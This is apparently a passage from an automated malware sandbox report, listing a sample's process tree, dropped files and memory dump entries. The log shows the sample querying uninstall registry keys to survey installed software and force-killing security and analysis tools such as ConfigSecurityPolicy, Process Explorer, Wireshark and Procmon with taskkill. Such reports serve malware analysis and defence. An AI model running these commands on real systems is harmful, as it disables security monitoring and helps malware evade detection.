C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F2⤵
- Kills process with taskkill
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\.ntusernt.ini
-
C:\Users\Admin\UaoPj\Desktop.ini
-
C:\Users\Admin\UaoPj\SbBYi.class
-
\Users\Admin\AppData\Local\Temp\enPAMRFmEe7825241238734541407.xml
-
memory/412-47-0x0000000000000000-mapping.dmp
-
memory/416-106-0x0000000000000000-mapping.dmp
-
memory/524-45-0x0000000000000000-mapping.dmp
-
memory/560-44-0x0000000000000000-mapping.dmp
-
memory/756-253-0x0000000000000000-mapping.dmp
-
memory/788-98-0x0000000000000000-mapping.dmp
-
memory/808-46-0x0000000000000000-mapping.dmp
-
memory/860-119-0x0000000000000000-mapping.dmp
-
memory/860-109-0x0000000000000000-mapping.dmp
-
memory/864-71-0x0000000000000000-mapping.dmp
-
memory/864-107-0x0000000000000000-mapping.dmp
-
memory/912-70-0x0000000000000000-mapping.dmp
-
memory/912-110-0x0000000000000000-mapping.dmp
-
memory/980-120-0x0000000000000000-mapping.dmp
-
memory/1028-141-0x0000000000000000-mapping.dmp
-
memory/1172-48-0x0000000000000000-mapping.dmp
-
memory/1224-116-0x0000000000000000-mapping.dmp
-
memory/1224-122-0x0000000000000000-mapping.dmp
-
memory/1228-83-0x0000000000000000-mapping.dmp
-
memory/1416-49-0x0000000000000000-mapping.dmp
-
memory/1448-79-0x0000000000000000-mapping.dmp
-
memory/1452-123-0x0000000000000000-mapping.dmp
-
memory/1548-87-0x0000000000000000-mapping.dmp
-
memory/1548-135-0x0000000000000000-mapping.dmp
-
memory/1576-99-0x0000000000000000-mapping.dmp
-
memory/1580-51-0x0000000000000000-mapping.dmp
-
memory/1628-69-0x0000000000000000-mapping.dmp
-
memory/1700-72-0x0000000000000000-mapping.dmp
-
memory/1708-147-0x0000000000000000-mapping.dmp
-
memory/1736-66-0x0000000000000000-mapping.dmp
-
memory/1804-115-0x0000000000000000-mapping.dmp
-
memory/1804-142-0x0000000000000000-mapping.dmp
-
memory/1804-124-0x0000000000000000-mapping.dmp
-
memory/1812-92-0x0000000000000000-mapping.dmp
-
memory/1824-73-0x0000000000000000-mapping.dmp
-
memory/1856-86-0x0000000000000000-mapping.dmp
-
memory/1864-126-0x0000000000000000-mapping.dmp
-
memory/1936-53-0x0000000000000000-mapping.dmp
-
memory/2052-54-0x0000000000000000-mapping.dmp
-
memory/2080-55-0x0000000000000000-mapping.dmp
-
memory/2088-100-0x0000000000000000-mapping.dmp
-
memory/2100-76-0x0000000000000000-mapping.dmp
-
memory/2132-138-0x0000000000000000-mapping.dmp
-
memory/2140-56-0x0000000000000000-mapping.dmp
-
memory/2148-112-0x0000000000000000-mapping.dmp
-
memory/2148-88-0x0000000000000000-mapping.dmp
-
memory/2192-82-0x0000000000000000-mapping.dmp
-
memory/2192-101-0x0000000000000000-mapping.dmp
-
memory/2196-94-0x0000000000000000-mapping.dmp
-
memory/2256-145-0x0000000000000000-mapping.dmp
-
memory/2708-103-0x0000000000000000-mapping.dmp
-
memory/2716-57-0x0000000000000000-mapping.dmp
-
memory/2808-130-0x0000000000000000-mapping.dmp
-
memory/2820-77-0x0000000000000000-mapping.dmp
-
memory/2824-58-0x0000000000000000-mapping.dmp
-
memory/2884-102-0x0000000000000000-mapping.dmp
-
memory/2980-136-0x0000000000000000-mapping.dmp
-
memory/2980-85-0x0000000000000000-mapping.dmp
-
memory/2980-97-0x0000000000000000-mapping.dmp
-
memory/2988-96-0x0000000000000000-mapping.dmp
-
memory/2992-61-0x0000000000000000-mapping.dmp
-
memory/3020-108-0x0000000000000000-mapping.dmp
-
memory/3024-118-0x0000000000000000-mapping.dmp
-
memory/3160-104-0x0000000000000000-mapping.dmp
-
memory/3304-144-0x0000000000000000-mapping.dmp
-
memory/3344-67-0x0000000000000000-mapping.dmp
-
memory/3360-139-0x0000000000000000-mapping.dmp
-
memory/3360-78-0x0000000000000000-mapping.dmp
-
memory/3388-117-0x0000000000000000-mapping.dmp
-
memory/3396-111-0x0000000000000000-mapping.dmp
-
memory/3420-143-0x0000000000000000-mapping.dmp
-
memory/3436-190-0x0000000000000000-mapping.dmp
-
memory/3436-134-0x0000000000000000-mapping.dmp
-
memory/3468-114-0x0000000000000000-mapping.dmp
-
memory/3528-113-0x0000000000000000-mapping.dmp
-
memory/3536-127-0x0000000000000000-mapping.dmp
-
memory/3588-217-0x0000000000000000-mapping.dmp
-
memory/3700-89-0x0000000000000000-mapping.dmp
-
memory/3740-90-0x0000000000000000-mapping.dmp
-
memory/3764-65-0x0000000000000000-mapping.dmp
-
memory/3772-189-0x0000000000000000-mapping.dmp
-
memory/3772-137-0x0000000000000000-mapping.dmp
-
memory/3808-146-0x0000000000000000-mapping.dmp
-
memory/3808-125-0x0000000000000000-mapping.dmp
-
memory/3808-121-0x0000000000000000-mapping.dmp
-
memory/3852-140-0x0000000000000000-mapping.dmp
-
memory/3856-131-0x0000000000000000-mapping.dmp
-
memory/3876-129-0x0000000000000000-mapping.dmp
-
memory/3876-81-0x0000000000000000-mapping.dmp
-
memory/3892-64-0x0000000000000000-mapping.dmp
-
memory/3892-84-0x000001AAA4CB0000-0x000001AAA4CB1000-memory.dmpFilesize
4KB
-
memory/3892-75-0x00007FFDC0E90000-0x00007FFDC187C000-memory.dmpFilesize
9.9MB
-
memory/3892-95-0x000001AAA4E60000-0x000001AAA4E61000-memory.dmpFilesize
4KB
-
memory/3932-91-0x0000000000000000-mapping.dmp
-
memory/4064-93-0x0000000000000000-mapping.dmp
-
memory/4064-68-0x0000000000000000-mapping.dmp
-
memory/4104-235-0x0000000000000000-mapping.dmp
-
memory/4116-148-0x0000000000000000-mapping.dmp
-
memory/4120-191-0x0000000000000000-mapping.dmp
-
memory/4128-234-0x0000000000000000-mapping.dmp
-
memory/4136-149-0x0000000000000000-mapping.dmp
-
memory/4172-150-0x0000000000000000-mapping.dmp
-
memory/4176-219-0x0000000000000000-mapping.dmp
-
memory/4176-192-0x0000000000000000-mapping.dmp
-
memory/4184-218-0x0000000000000000-mapping.dmp
-
memory/4184-237-0x0000000000000000-mapping.dmp
-
memory/4192-151-0x0000000000000000-mapping.dmp
-
memory/4196-193-0x0000000000000000-mapping.dmp
-
memory/4204-247-0x0000000000000000-mapping.dmp
-
memory/4212-152-0x0000000000000000-mapping.dmp
-
memory/4228-194-0x0000000000000000-mapping.dmp
-
memory/4248-153-0x0000000000000000-mapping.dmp
-
memory/4268-154-0x0000000000000000-mapping.dmp
-
memory/4280-195-0x0000000000000000-mapping.dmp
-
memory/4288-155-0x0000000000000000-mapping.dmp
-
memory/4324-156-0x0000000000000000-mapping.dmp
-
memory/4324-221-0x0000000000000000-mapping.dmp
-
memory/4328-196-0x0000000000000000-mapping.dmp
-
memory/4332-220-0x0000000000000000-mapping.dmp
-
memory/4344-157-0x0000000000000000-mapping.dmp
-
memory/4348-197-0x0000000000000000-mapping.dmp
-
memory/4364-158-0x0000000000000000-mapping.dmp
-
memory/4372-238-0x0000000000000000-mapping.dmp
-
memory/4400-159-0x0000000000000000-mapping.dmp
-
memory/4400-222-0x0000000000000000-mapping.dmp
-
memory/4412-198-0x0000000000000000-mapping.dmp
-
memory/4420-160-0x0000000000000000-mapping.dmp
-
memory/4424-239-0x0000000000000000-mapping.dmp
-
memory/4432-199-0x0000000000000000-mapping.dmp
-
memory/4432-223-0x0000000000000000-mapping.dmp
-
memory/4444-162-0x0000000000000000-mapping.dmp
-
memory/4480-163-0x0000000000000000-mapping.dmp
-
memory/4488-200-0x0000000000000000-mapping.dmp
-
memory/4500-164-0x0000000000000000-mapping.dmp
-
memory/4500-201-0x0000000000000000-mapping.dmp
-
memory/4520-165-0x0000000000000000-mapping.dmp
-
memory/4536-240-0x0000000000000000-mapping.dmp
-
memory/4556-166-0x0000000000000000-mapping.dmp
-
memory/4560-224-0x0000000000000000-mapping.dmp
-
memory/4572-202-0x0000000000000000-mapping.dmp
-
memory/4576-167-0x0000000000000000-mapping.dmp
-
memory/4580-225-0x0000000000000000-mapping.dmp
-
memory/4592-203-0x0000000000000000-mapping.dmp
-
memory/4596-168-0x0000000000000000-mapping.dmp
-
memory/4636-170-0x0000000000000000-mapping.dmp
-
memory/4640-204-0x0000000000000000-mapping.dmp
-
memory/4656-241-0x0000000000000000-mapping.dmp
-
memory/4656-171-0x0000000000000000-mapping.dmp
-
memory/4668-227-0x0000000000000000-mapping.dmp
-
memory/4668-205-0x0000000000000000-mapping.dmp
-
memory/4676-172-0x0000000000000000-mapping.dmp
-
memory/4684-242-0x0000000000000000-mapping.dmp
-
memory/4684-226-0x0000000000000000-mapping.dmp
-
memory/4688-173-0x0000000000000000-mapping.dmp
-
memory/4696-206-0x0000000000000000-mapping.dmp
-
memory/4712-248-0x0000000000000000-mapping.dmp
-
memory/4720-229-0x0000000000000000-mapping.dmp
-
memory/4728-209-0x0000000000000000-mapping.dmp
-
memory/4752-174-0x0000000000000000-mapping.dmp
-
memory/4776-208-0x0000000000000000-mapping.dmp
-
memory/4780-175-0x0000000000000000-mapping.dmp
-
memory/4780-207-0x0000000000000000-mapping.dmp
-
memory/4796-243-0x0000000000000000-mapping.dmp
-
memory/4804-228-0x0000000000000000-mapping.dmp
-
memory/4808-176-0x0000000000000000-mapping.dmp
-
memory/4844-177-0x0000000000000000-mapping.dmp
-
memory/4856-210-0x0000000000000000-mapping.dmp
-
memory/4864-178-0x0000000000000000-mapping.dmp
-
memory/4864-244-0x0000000000000000-mapping.dmp
-
memory/4876-231-0x0000000000000000-mapping.dmp
-
memory/4876-211-0x0000000000000000-mapping.dmp
-
memory/4884-179-0x0000000000000000-mapping.dmp
-
memory/4900-252-0x0000000000000000-mapping.dmp
-
memory/4900-230-0x0000000000000000-mapping.dmp
-
memory/4920-249-0x0000000000000000-mapping.dmp
-
memory/4920-180-0x0000000000000000-mapping.dmp
-
memory/4924-212-0x0000000000000000-mapping.dmp
-
memory/4940-181-0x0000000000000000-mapping.dmp
-
memory/4960-182-0x0000000000000000-mapping.dmp
-
memory/4968-246-0x0000000000000000-mapping.dmp
-
memory/4968-213-0x0000000000000000-mapping.dmp
-
memory/4968-232-0x0000000000000000-mapping.dmp
-
memory/4996-183-0x0000000000000000-mapping.dmp
-
memory/5000-214-0x0000000000000000-mapping.dmp
-
memory/5000-250-0x0000000000000000-mapping.dmp
-
memory/5016-184-0x0000000000000000-mapping.dmp
-
memory/5024-236-0x0000000000000000-mapping.dmp
-
memory/5024-251-0x0000000000000000-mapping.dmp
-
memory/5036-185-0x0000000000000000-mapping.dmp
-
memory/5044-215-0x0000000000000000-mapping.dmp
-
memory/5052-245-0x0000000000000000-mapping.dmp
-
memory/5072-216-0x0000000000000000-mapping.dmp
-
memory/5072-186-0x0000000000000000-mapping.dmp
-
memory/5092-187-0x0000000000000000-mapping.dmp
-
memory/5108-233-0x0000000000000000-mapping.dmp
-
memory/5112-188-0x0000000000000000-mapping.dmp